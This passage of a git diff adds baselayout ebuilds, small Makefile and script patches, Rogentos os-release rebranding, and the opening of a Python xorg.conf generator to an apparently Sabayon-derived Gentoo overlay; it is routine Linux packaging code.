&& \ + ewarn " /${src#${ROOT}} merged" || \ + ewarn " /${src#${ROOT}} not merged" + done + fi + + rm -rf "${prefix}lib" || \ + die "unable to remove '${prefix}lib'" + + ln -s "$libabi" "${prefix}lib" || \ + die "unable to create '${prefix}lib' symlink" + done + fi + + emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die "failed to layout filesystem" + fi + rm -f "${D}"/usr/share/${PN}/Makefile + + # Sabayon customization, protect /etc/hosts from removal (from older ebuilds) + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die + fi +} + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}/${P}-slash-run-dir.patch" +} + +src_install() { + local libdir="lib" + [[ ${SYMLINK_LIB} == "yes" ]] && libdir=$(get_abi_LIBDIR "${DEFAULT_ABI}") + + # Setup /run directory, this is missing from original baselayout + dodir /run + + emake \ + OS=$(use kernel_FreeBSD && echo BSD || echo Linux) \ + LIB=${libdir} \ + DESTDIR="${D}" \ + install || die + dodoc ChangeLog.svn + + # need the makefile in pkg_preinst + insinto /usr/share/${PN} + doins Makefile || die + + # Should this belong in another ebuild? Like say binutils? + # List all the multilib libdirs in /etc/env/04multilib (only if they're + # actually different from the normal + if has_multilib_profile || [ $(get_libdir) != "lib" -o -n "${CONF_MULTILIBDIR}" ]; then + local libdirs="$(get_all_libdirs)" libdirs_env= dir= + : ${libdirs:=lib} # it isn't that we don't trust multilib.eclass... + for dir in ${libdirs}; do + libdirs_env=${libdirs_env:+$libdirs_env:}/${dir}:/usr/${dir}:/usr/local/${dir} + done + + # Special-case uglyness... For people updating from lib32 -> lib amd64 + # profiles, keep lib32 in the search path while it's around + if has_multilib_profile && [ -d "${ROOT}"lib32 -o -d "${ROOT}"lib32 ] && ! hasq lib32 ${libdirs}; then + libdirs_env="${libdirs_env}:/lib32:/usr/lib32:/usr/local/lib32" + fi + echo "LDPATH=\"${libdirs_env}\"" > "${T}"/04multilib + doenvd "${T}"/04multilib + fi + + # rc-scripts version for testing of features that *should* be present + echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release + + # Sabayon customization, install /etc/hosts separately (to .example) + mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts" +} + +pkg_postinst() { + local x + + # We installed some files to /usr/share/baselayout instead of /etc to stop + # (1) overwriting the user's settings + # (2) screwing things up when attempting to merge files + # (3) accidentally packaging up personal files with quickpkg + # If they don't exist then we install them + for x in master.passwd passwd shadow group fstab ; do + [ -e "${ROOT}etc/${x}" ] && continue + [ -e "${ROOT}usr/share/baselayout/${x}" ] || continue + cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc + done + + # Force shadow permissions to not be world-readable #260993 + for x in shadow ; do + [ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}" + done + + # Take care of the etc-update for the user + if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then + mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release + fi + + # whine about users that lack passwords #193541 + if [[ -e ${ROOT}/etc/shadow ]] ; then + local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow) + if [[ -n ${bad_users} ]] ; then + echo + ewarn "The following users lack passwords!" + ewarn ${bad_users} + fi + fi + + # whine about users with invalid shells #215698 + if [[ -e ${ROOT}/etc/passwd ]] ; then + local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort) + if [[ -n ${bad_shells} ]] ; then + echo + ewarn "The following users have non-existent shells!" + ewarn "${bad_shells}" + fi + fi + + # Sabayon customization, copy /etc/hosts back in place if it doesn't exist + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then + cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die + elif [ ! -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die + fi + chown root:root "${etc_hosts}" # don't die +} diff --git a/sys-apps/baselayout/baselayout-2.1.ebuild b/sys-apps/baselayout/baselayout-2.1.ebuild new file mode 100644 index 00000000..5f9115c5 --- /dev/null +++ b/sys-apps/baselayout/baselayout-2.1.ebuild @@ -0,0 +1,245 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.1.ebuild,v 1.6 2011/12/09 03:48:47 vapier Exp $ + +inherit eutils multilib + +DESCRIPTION="Filesystem baselayout and init scripts" +HOMEPAGE="http://www.gentoo.org/" +SRC_URI="mirror://gentoo/${P}.tar.bz2 + http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~sparc-fbsd ~x86-fbsd" +IUSE="build" + +PDEPEND="sys-apps/openrc" + +pkg_setup() { + multilib_layout +} + +# Create our multilib dirs - the Makefile has no knowledge of this +multilib_warn() { + local syms=$1 dirs=$2 def_libdir=$3 + + [ -z "${syms}${dirs}" ] && return + + ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB}, so that means" + if [ -z "${syms}" ] ; then + ewarn "you need to have these paths as symlinks to ${def_libdir}:" + ewarn "$1" + fi +} +multilib_layout() { + local libdir libdirs=$(get_all_libdirs) def_libdir=$(get_abi_LIBDIR $DEFAULT_ABI) + : ${libdirs:=lib} # it isn't that we don't trust multilib.eclass... + + [ -z "${def_libdir}" ] && die "your DEFAULT_ABI=$DEFAULT_ABI appears to be invalid" + + # figure out which paths should be symlinks and which should be directories + local dirs syms exp d + for libdir in ${libdirs} ; do + exp=( {,usr/,usr/local/}${libdir} ) + for d in "${exp[@]/#/${ROOT}}" ; do + # most things should be dirs + if [ "${SYMLINK_LIB}" = "yes" ] && [ "${libdir}" = "lib" ] ; then + [ ! -h "${d}" ] && [ -e "${d}" ] && dirs+=" ${d}" + else + [ -h "${d}" ] && syms+=" ${d}" + fi + done + done + if [ -n "${syms}${dirs}" ] ; then + ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB:-no}, so that means you need to" + ewarn "have these paths configured as follows:" + [ -n "${dirs}" ] && ewarn "symlinks to '${def_libdir}':${dirs}" + [ -n "${syms}" ] && ewarn "directories:${syms}" + ewarn "The ebuild will attempt to fix these, but only for trivial conversions." + ewarn "If things fail, you will need to manually create/move the directories." + echo + fi + + # setup symlinks and dirs where we expect them to be; do not migrate + # data ... just fall over in that case. + local prefix + for prefix in "${ROOT}"{,usr/,usr/local/} ; do + if [ "${SYMLINK_LIB}" = yes ] ; then + # we need to make sure "lib" points to the native libdir + if [ -h "${prefix}lib" ] ; then + # it's already a symlink! assume it's pointing to right place ... + continue + elif [ -d "${prefix}lib" ] ; then + # "lib" is a dir, so need to convert to a symlink + ewarn "Converting ${prefix}lib from a dir to a symlink" + rm -f "${prefix}lib"/.keep + if rmdir "${prefix}lib" 2>/dev/null ; then + ln -s ${def_libdir} "${prefix}lib" || die + else + die "non-empty dir found where we needed a symlink: ${prefix}lib" + fi + else + # nothing exists, so just set it up sanely + ewarn "Initializing ${prefix}lib as a symlink" + mkdir -p "${prefix}" || die + rm -f "${prefix}lib" || die + ln -s ${def_libdir} "${prefix}lib" || die + fi + else + # we need to make sure "lib" is a dir + if [ -h "${prefix}lib" ] ; then + # "lib" is a symlink, so need to convert to a dir + ewarn "Converting ${prefix}lib from a symlink to a dir" + rm -f "${prefix}lib" || die + if [ -d "${prefix}lib32" ] ; then + ewarn "Migrating ${prefix}lib32 to ${prefix}lib" + mv "${prefix}lib32" "${prefix}lib" || die + else + mkdir -p "${prefix}lib" || die + fi + elif [ -d "${prefix}lib" ] ; then + # make sure the old "lib" ABI location does not exist; we + # only symlinked the lib dir on systems where we moved it + # to "lib32" ... + case ${CHOST} in + i?86*|x86_64*|powerpc*|sparc*|s390*) + if [ -d "${prefix}lib32" ] ; then + rm -f "${prefix}lib32"/.keep + if ! rmdir "${prefix}lib32" 2>/dev/null ; then + ewarn "You need to merge ${prefix}lib32 into ${prefix}lib" + die "non-empty dir found where there should be none: ${prefix}lib32" + fi + fi + ;; + esac + else + # nothing exists, so just set it up sanely + ewarn "Initializing ${prefix}lib as a dir" + mkdir -p "${prefix}" || die + rm -f "${prefix}lib" || die + ln -s ${def_libdir} "${prefix}lib" || die + fi + fi + done +} + +pkg_preinst() { + # Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of + # the baselayout-1.x ebuild copies all the real configs from the user's + # /etc/conf.d into ${D}, it makes them all appear to be the default + # versions. In order to protect them from being unmerged after this + # upgrade, modify their timestamps. + touch "${ROOT}"/etc/conf.d/* 2>/dev/null + + # This is written in src_install (so it's in CONTENTS), but punt all + # pending updates to avoid user having to do etc-update (and make the + # pkg_postinst logic simpler). + rm -f "${ROOT}"/etc/._cfg????_gentoo-release + + # We need to install directories and maybe some dev nodes when building + # stages, but they cannot be in CONTENTS. + # Also, we cannot reference $S as binpkg will break so we do this. + multilib_layout + if use build ; then + emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die + fi + rm -f "${D}"/usr/share/${PN}/Makefile + + # Sabayon customization, protect /etc/hosts from removal (from older ebuilds) + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die + fi +} + +src_install() { + # Setup /run directory, this is missing from original baselayout + dodir /run + + emake \ + OS=$(usex kernel_FreeBSD BSD Linux) \ + DESTDIR="${D}" \ + install || die + dodoc ChangeLog.svn + + # need the makefile in pkg_preinst + insinto /usr/share/${PN} + doins Makefile || die + + # handle multilib paths. do it here because we want this behavior + # regardless of the C library that you're using. we do explicitly + # list paths which the native ldconfig searches, but this isn't + # problematic as it doesn't change the resulting ld.so.cache or + # take longer to generate. similarly, listing both the native + # path and the symlinked path doesn't change the resulting cache. + local libdir ldpaths + for libdir in $(get_all_libdirs) ; do + ldpaths+=":/${libdir}:/usr/${libdir}:/usr/local/${libdir}" + done + echo "LDPATH='${ldpaths#:}'" >> "${D}"/etc/env.d/00basic + + # rc-scripts version for testing of features that *should* be present + echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release + + # Sabayon customization, install /etc/hosts separately (to .example) + mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts" +} + +pkg_postinst() { + local x + + # We installed some files to /usr/share/baselayout instead of /etc to stop + # (1) overwriting the user's settings + # (2) screwing things up when attempting to merge files + # (3) accidentally packaging up personal files with quickpkg + # If they don't exist then we install them + for x in master.passwd passwd shadow group fstab ; do + [ -e "${ROOT}etc/${x}" ] && continue + [ -e "${ROOT}usr/share/baselayout/${x}" ] || continue + cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc + done + + # Force shadow permissions to not be world-readable #260993 + for x in shadow ; do + [ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}" + done + + # Take care of the etc-update for the user + if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then + mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release + fi + + # whine about users that lack passwords #193541 + if [[ -e ${ROOT}/etc/shadow ]] ; then + local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow) + if [[ -n ${bad_users} ]] ; then + echo + ewarn "The following users lack passwords!" + ewarn ${bad_users} + fi + fi + + # baselayout leaves behind a lot of .keep files, so let's clean them up + find "${ROOT}"/lib*/rcscripts/ -name .keep -exec rm -f {} + 2>/dev/null + find "${ROOT}"/lib*/rcscripts/ -depth -type d -exec rmdir {} + 2>/dev/null + + # whine about users with invalid shells #215698 + if [[ -e ${ROOT}/etc/passwd ]] ; then + local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort) + if [[ -n ${bad_shells} ]] ; then + echo + ewarn "The following users have non-existent shells!" + ewarn "${bad_shells}" + fi + fi + + # Sabayon customization, copy /etc/hosts back in place if it doesn't exist + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then + cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die + elif [ ! -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die + fi + chown root:root "${etc_hosts}" # don't die +} diff --git a/sys-apps/baselayout/baselayout-2.2.ebuild b/sys-apps/baselayout/baselayout-2.2.ebuild new file mode 100644 index 00000000..1f70a72c --- /dev/null +++ b/sys-apps/baselayout/baselayout-2.2.ebuild @@ -0,0 +1,265 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/sys-apps/baselayout/baselayout-2.2.ebuild,v 1.2 2012/08/23 21:47:35 vapier Exp $ + +inherit eutils multilib + +DESCRIPTION="Filesystem baselayout and init scripts" +HOMEPAGE="http://www.gentoo.org/" +SRC_URI="mirror://gentoo/${P}.tar.bz2 + http://dev.gentoo.org/~vapier/dist/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd" +IUSE="build kernel_linux" + +PDEPEND="sys-apps/openrc" + +pkg_setup() { + multilib_layout +} + +# Create our multilib dirs - the Makefile has no knowledge of this +multilib_warn() { + local syms=$1 dirs=$2 def_libdir=$3 + + [ -z "${syms}${dirs}" ] && return + + ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB}, so that means" + if [ -z "${syms}" ] ; then + ewarn "you need to have these paths as symlinks to ${def_libdir}:" + ewarn "$1" + fi +} +multilib_layout() { + local libdir libdirs=$(get_all_libdirs) def_libdir=$(get_abi_LIBDIR $DEFAULT_ABI) + : ${libdirs:=lib} # it isn't that we don't trust multilib.eclass... + + [ -z "${def_libdir}" ] && die "your DEFAULT_ABI=$DEFAULT_ABI appears to be invalid" + + # figure out which paths should be symlinks and which should be directories + local dirs syms exp d + for libdir in ${libdirs} ; do + exp=( {,usr/,usr/local/}${libdir} ) + for d in "${exp[@]/#/${ROOT}}" ; do + # most things should be dirs + if [ "${SYMLINK_LIB}" = "yes" ] && [ "${libdir}" = "lib" ] ; then + [ ! -h "${d}" ] && [ -e "${d}" ] && dirs+=" ${d}" + else + [ -h "${d}" ] && syms+=" ${d}" + fi + done + done + if [ -n "${syms}${dirs}" ] ; then + ewarn "Your system profile has SYMLINK_LIB=${SYMLINK_LIB:-no}, so that means you need to" + ewarn "have these paths configured as follows:" + [ -n "${dirs}" ] && ewarn "symlinks to '${def_libdir}':${dirs}" + [ -n "${syms}" ] && ewarn "directories:${syms}" + ewarn "The ebuild will attempt to fix these, but only for trivial conversions." + ewarn "If things fail, you will need to manually create/move the directories." + echo + fi + + # setup symlinks and dirs where we expect them to be; do not migrate + # data ... just fall over in that case. + local prefix + for prefix in "${ROOT}"{,usr/,usr/local/} ; do + if [ "${SYMLINK_LIB}" = yes ] ; then + # we need to make sure "lib" points to the native libdir + if [ -h "${prefix}lib" ] ; then + # it's already a symlink! assume it's pointing to right place ... + continue + elif [ -d "${prefix}lib" ] ; then + # "lib" is a dir, so need to convert to a symlink + ewarn "Converting ${prefix}lib from a dir to a symlink" + rm -f "${prefix}lib"/.keep + if rmdir "${prefix}lib" 2>/dev/null ; then + ln -s ${def_libdir} "${prefix}lib" || die + else + die "non-empty dir found where we needed a symlink: ${prefix}lib" + fi + else + # nothing exists, so just set it up sanely + ewarn "Initializing ${prefix}lib as a symlink" + mkdir -p "${prefix}" || die + rm -f "${prefix}lib" || die + ln -s ${def_libdir} "${prefix}lib" || die + mkdir -p "${prefix}${def_libdir}" #423571 + fi + else + # we need to make sure "lib" is a dir + if [ -h "${prefix}lib" ] ; then + # "lib" is a symlink, so need to convert to a dir + ewarn "Converting ${prefix}lib from a symlink to a dir" + rm -f "${prefix}lib" || die + if [ -d "${prefix}lib32" ] ; then + ewarn "Migrating ${prefix}lib32 to ${prefix}lib" + mv "${prefix}lib32" "${prefix}lib" || die + else + mkdir -p "${prefix}lib" || die + fi + elif [ -d "${prefix}lib" ] ; then + # make sure the old "lib" ABI location does not exist; we + # only symlinked the lib dir on systems where we moved it + # to "lib32" ... + case ${CHOST} in + i?86*|x86_64*|powerpc*|sparc*|s390*) + if [ -d "${prefix}lib32" ] ; then + rm -f "${prefix}lib32"/.keep + if ! rmdir "${prefix}lib32" 2>/dev/null ; then + ewarn "You need to merge ${prefix}lib32 into ${prefix}lib" + die "non-empty dir found where there should be none: ${prefix}lib32" + fi + fi + ;; + esac + else + # nothing exists, so just set it up sanely + ewarn "Initializing ${prefix}lib as a dir" + mkdir -p "${prefix}" || die + rm -f "${prefix}lib" || die + ln -s ${def_libdir} "${prefix}lib" || die + fi + fi + done +} + +pkg_preinst() { + # Bug #217848 - Since the remap_dns_vars() called by pkg_preinst() of + # the baselayout-1.x ebuild copies all the real configs from the user's + # /etc/conf.d into ${D}, it makes them all appear to be the default + # versions. In order to protect them from being unmerged after this + # upgrade, modify their timestamps. + touch "${ROOT}"/etc/conf.d/* 2>/dev/null + + # This is written in src_install (so it's in CONTENTS), but punt all + # pending updates to avoid user having to do etc-update (and make the + # pkg_postinst logic simpler). + rm -f "${ROOT}"/etc/._cfg????_gentoo-release + + # We need to install directories and maybe some dev nodes when building + # stages, but they cannot be in CONTENTS. + # Also, we cannot reference $S as binpkg will break so we do this. + multilib_layout + if use build ; then + emake -C "${D}/usr/share/${PN}" DESTDIR="${ROOT}" layout || die + fi + rm -f "${D}"/usr/share/${PN}/Makefile + + # Sabayon customization, protect /etc/hosts from removal (from older ebuilds) + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}" "${etc_hosts}.baselayout_ebuild_backup" # don't die + fi +} + +src_unpack() { + unpack ${A} + + cd "${S}" + # We are Sabayon! + epatch "${FILESDIR}/${PN}-rogentos-os-release.patch" +} + +src_install() { + # Setup /run directory, this is missing from original baselayout + dodir /run + + emake \ + OS=$(usex kernel_FreeBSD BSD Linux) \ + DESTDIR="${D}" \ + install || die + dodoc ChangeLog.svn + + # need the makefile in pkg_preinst + insinto /usr/share/${PN} + doins Makefile || die + + # handle multilib paths. do it here because we want this behavior + # regardless of the C library that you're using. we do explicitly + # list paths which the native ldconfig searches, but this isn't + # problematic as it doesn't change the resulting ld.so.cache or + # take longer to generate. similarly, listing both the native + # path and the symlinked path doesn't change the resulting cache. + local libdir ldpaths + for libdir in $(get_all_libdirs) ; do + ldpaths+=":/${libdir}:/usr/${libdir}:/usr/local/${libdir}" + done + echo "LDPATH='${ldpaths#:}'" >> "${D}"/etc/env.d/00basic + + # rc-scripts version for testing of features that *should* be present + echo "Gentoo Base System release ${PV}" > "${D}"/etc/gentoo-release + + # Sabayon customization, install /etc/hosts separately (to .example) + mv "${D}"/etc/hosts "${D}"/etc/hosts.example || die "cannot move /etc/hosts" + +} + +pkg_postinst() { + local x + + # We installed some files to /usr/share/baselayout instead of /etc to stop + # (1) overwriting the user's settings + # (2) screwing things up when attempting to merge files + # (3) accidentally packaging up personal files with quickpkg + # If they don't exist then we install them + for x in master.passwd passwd shadow group fstab ; do + [ -e "${ROOT}etc/${x}" ] && continue + [ -e "${ROOT}usr/share/baselayout/${x}" ] || continue + cp -p "${ROOT}usr/share/baselayout/${x}" "${ROOT}"etc + done + + # Force shadow permissions to not be world-readable #260993 + for x in shadow ; do + [ -e "${ROOT}etc/${x}" ] && chmod o-rwx "${ROOT}etc/${x}" + done + + # Take care of the etc-update for the user + if [ -e "${ROOT}"/etc/._cfg0000_gentoo-release ] ; then + mv "${ROOT}"/etc/._cfg0000_gentoo-release "${ROOT}"/etc/gentoo-release + fi + + # whine about users that lack passwords #193541 + if [[ -e ${ROOT}/etc/shadow ]] ; then + local bad_users=$(sed -n '/^[^:]*::/s|^\([^:]*\)::.*|\1|p' "${ROOT}"/etc/shadow) + if [[ -n ${bad_users} ]] ; then + echo + ewarn "The following users lack passwords!" + ewarn ${bad_users} + fi + fi + + # baselayout leaves behind a lot of .keep files, so let's clean them up + find "${ROOT}"/lib*/rcscripts/ -name .keep -exec rm -f {} + 2>/dev/null + find "${ROOT}"/lib*/rcscripts/ -depth -type d -exec rmdir {} + 2>/dev/null + + # whine about users with invalid shells #215698 + if [[ -e ${ROOT}/etc/passwd ]] ; then + local bad_shells=$(awk -F: 'system("test -e " $7) { print $1 " - " $7}' /etc/passwd | sort) + if [[ -n ${bad_shells} ]] ; then + echo + ewarn "The following users have non-existent shells!" + ewarn "${bad_shells}" + fi + fi + + # Sabayon customization, copy /etc/hosts back in place if it doesn't exist + local etc_hosts="${ROOT}/etc/hosts" + if [ -e "${etc_hosts}.baselayout_ebuild_backup" ]; then + cp -p "${etc_hosts}.baselayout_ebuild_backup" "${etc_hosts}" # don't die + elif [ ! -e "${etc_hosts}" ]; then + cp -p "${etc_hosts}.example" "${etc_hosts}" # don't die + fi + chown root:root "${etc_hosts}" # don't die + + # http://bugs.gentoo.org/361349 + if use kernel_linux; then + mkdir -p "${ROOT}"/run + + if ! grep -qs "^tmpfs.*/run " "${ROOT}"/proc/mounts ; then + echo + ewarn "You should reboot the system now to get /run mounted with tmpfs!" + fi + fi +} diff --git a/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch b/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch new file mode 100644 index 00000000..8d148862 --- /dev/null +++ b/sys-apps/baselayout/files/baselayout-1.12.14-iproute.patch @@ -0,0 +1,18 @@ +r3179 | vapier | 2010-10-03 17:20:25 -0400 (Sun, 03 Oct 2010) | 1 line + +fix infinite recursion with ip invocation #339013 by Krzysztof Olędzki + +Index: net-scripts/net/iproute2.sh +=================================================================== +--- lib/rcscripts/net/iproute2.sh (revision 3178) ++++ lib/rcscripts/net/iproute2.sh (revision 3179) +@@ -5,7 +5,8 @@ + # Fix any potential localisation problems + # Note that LC_ALL trumps LC_anything_else according to locale(7) + ip() { +- LC_ALL=C ip "$@" ++ # use the full path so we don't recurse into ip() ++ LC_ALL=C $(type -P ip) "$@" + } + iproute2_tunnel() { + LC_ALL=C ip tunnel "$@" diff --git a/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch b/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch new file mode 100644 index 00000000..7b7df780 --- /dev/null +++ b/sys-apps/baselayout/files/baselayout-2.0.1-proc_touch.patch @@ -0,0 +1,16 @@ +https://bugs.gentoo.org/232823 +http://sources.gentoo.org/cgi-bin/viewvc.cgi/baselayout/trunk/Makefile?r1=3171&r2=3172 + +--- Makefile ++++ Makefile +@@ -49,8 +49,9 @@ + layout: + # Create base filesytem layout + for x in $(KEEP_DIRS) ; do \ ++ test -e $(DESTDIR)$$x/.keep && continue ; \ + $(INSTALL_DIR) $(DESTDIR)$$x || exit $$? ; \ +- touch $(DESTDIR)$$x/.keep || exit $$? ; \ ++ touch $(DESTDIR)$$x/.keep || echo "ignoring touch failure; mounted fs?" ; \ + done + # Special dirs + install -m 0700 -d $(DESTDIR)/root || exit $$? diff --git a/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch b/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch new file mode 100644 index 00000000..f6b77567 --- /dev/null +++ b/sys-apps/baselayout/files/baselayout-2.0.3-slash-run-dir.patch @@ -0,0 +1,12 @@ +Index: trunk/Makefile +=================================================================== +--- trunk/Makefile (revision 3193) ++++ trunk/Makefile (working copy) +@@ -27,6 +27,7 @@ + + KEEP_DIRS-Linux += \ + /dev \ ++ /run \ + /sys \ + /usr/src + KEEP_DIRS = $(KEEP_DIRS-$(OS)) \ diff --git a/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch b/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch new file mode 100644 index 00000000..1456df72 --- /dev/null +++ b/sys-apps/baselayout/files/baselayout-rogentos-os-release.patch @@ -0,0 +1,16 @@ +--- baselayout-2.2.orig/etc.Linux/os-release ++++ baselayout-2.2/etc.Linux/os-release +@@ -1,7 +1,7 @@ +-NAME=Gentoo +-ID=gentoo +-PRETTY_NAME="Gentoo/Linux" ++NAME=Rogentos ++ID=rogentos ++PRETTY_NAME="Rogentos/Linux" + ANSI_COLOR="1;32" +-HOME_URL="http://www.gentoo.org/" +-SUPPORT_URL="http://www.gentoo.org/main/en/support.xml" +-BUG_REPORT_URL="https://bugs.gentoo.org/" ++HOME_URL="http://www.rogentos.ro/" ++SUPPORT_URL="http://forum.rogentos.ro/" ++BUG_REPORT_URL="https://bugs.rogentos.ro/" diff --git a/sys-apps/baselayout/metadata.xml b/sys-apps/baselayout/metadata.xml new file mode 100644 index 00000000..96a2d586 --- /dev/null +++ b/sys-apps/baselayout/metadata.xml @@ -0,0 +1,5 @@ + + + +base-system + diff --git a/sys-apps/gpu-detector/Manifest b/sys-apps/gpu-detector/Manifest new file mode 100644 index 00000000..2d2431d3 --- /dev/null +++ b/sys-apps/gpu-detector/Manifest @@ -0,0 +1,5 @@ +AUX gpu-configuration 25811 SHA256 e093e198960da035c92947f80cdc79599da5d923a9720ab1541233492b97337a SHA512 e772f1256ed105f870f72a6bd1476a19fa30a6b65fa8d17de8499a45a57098e05c49a55ce28a2ee74ea903c47e1fd956205dc25efc7af3353d4bf72feaf73a9f WHIRLPOOL 6bf9599741a552e490a914b971fe33d6018131292630a47d33f9b1f2e1b373a1f38bb4fd69debe10af1245f62246f8bc4729e3c43de17099160c503a205020ee +EBUILD gpu-detector-2.5.0-r3.ebuild 947 SHA256 61115b4d61a23231c7dd50543cec101115d3a32875170f499414696571ff4eaf SHA512 5b4d5e9fb8209e8a5c09e96e4d9166eabf5fb6820d1aafa24400116c2290aeda291cbb55e671d5d46a9cba5299f5ba16c5141fd2fe6340e477cf4f26422f7b01 WHIRLPOOL afb697fea7eb1dacbfaf7ffa974db85d26b4074ad39e3b2aef7f15340cea17aad060367664d1d2d2f6475e1d05fdc548fc04b9ed5d5af7167f3b5ab0f9147d35 +EBUILD gpu-detector-2.6-r2.ebuild 925 SHA256 7f0d2cb0da15ee13dac589f87617ed1d9070f91a86a556861d6d93fb45a51f2a SHA512 882ae46731e8ef762977351655fd5c1578655825c39682cf64edd05c9639ecf0209aeda5e361568dbc000c5b71b8d5e2a51d27a3f03348434d25524d8b91016c WHIRLPOOL dccd6ff2a32507b50c2a3b39456df570b15abbfb66458305545b3e381067f16c46b680dfd3ee693ccf6d31c9d4277f6de750cccce1722bdf896a9a51c78ade00 +EBUILD gpu-detector-2.6-r6.ebuild 895 SHA256 4ad481e7efa87de8246716159ef20f8a6a436fa8acf9abeb3e5905db0c5fd5b9 SHA512 0d0fd53e5a5d817f20f21a0249357fe45e6c6b60d8ff7fcb3f55377950bd1145eb6e8158f8ffe75bbe058019ebf112755ed05c65aaf5a4ff4fdd3e9b88a9ca38 WHIRLPOOL d178d2740ca0b51906505c9dce18b6901dd9e82be366c51ef0f6812afd0e820cbabe9aa2aa5ef5e55083c4e3430e2b29114dc1f69ea3c52ff26b66702c0be10e +EBUILD gpu-detector-3.ebuild 482 SHA256 eaf15b3c8ad33381fc6bc730c44d3ff3d2b0c0bced5a7f7f84ce8411c1f6b6ab SHA512 86e26196f3d1f80707ea46764b481deb9eddad924c784d8c4a5ac81f97e3a65254ce1d17a32cabe4372f00030b106144e16c932f6fc76d74c7e8cf1704d122cd WHIRLPOOL 9f7de6f97156e13541ff6422aa455de5cad782a522b0d7761d609d145e14a031d9b5dc75a05e7f0db9c79440234838ffb38c2e6d6cb6ff4ffe6af16ff93b0490 diff --git a/sys-apps/gpu-detector/files/gpu-configuration b/sys-apps/gpu-detector/files/gpu-configuration new file mode 100755 index 00000000..2f816efe --- /dev/null +++ b/sys-apps/gpu-detector/files/gpu-configuration @@ -0,0 +1,776 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import os +import subprocess +try: + from subprocess import getoutput +except ImportError: + from commands import getoutput +import shutil +import sys + +# Variables +xorgfile = "/etc/X11/xorg.conf" +lspci = '/usr/sbin/lspci' +nvidia_settings = "/usr/share/applications/nvidia-settings.desktop" + +device_id_prefix = "RogentosVga" +nvidia_option_prefix = "--nvidia-opt--" +screen_layout_sections = [] +device_sections = [] +xorg_conf_structure = """ +Section "Module" + SubSection "extmod" + Option "omit xfree86-dga" + EndSubSection + Load "i2c" + Load "ddc" + Load "vbe" + Load "dri" + Load "glx" + Load "synaptics" +EndSection + +Section "ServerFlags" + Option "AllowMouseOpenFail" "true" +EndSection + +Section "Monitor" + Identifier "Generic Monitor" + VertRefresh 43 - 60 + HorizSync 28 - 80 +EndSection + +__device_section__ + +__screen_section__ + +Section "DRI" + Mode 0666 +EndSection + +Section "ServerLayout" + Identifier "Main Layout" + __screen_layout_section__ +EndSection + +Section "Extensions" + #Option "Composite" "Enable" +EndSection +""" + +screen_sections = [] +screen_section = """ +Section "Screen" + + Identifier "Screen __screen_id__" + Device "%s__screen_id__" + Monitor "Generic Monitor" + %sOption "AddARGBGLXVisuals" "true" + %sOption "RegistryDwords" "EnableBrightnessControl=1" + + 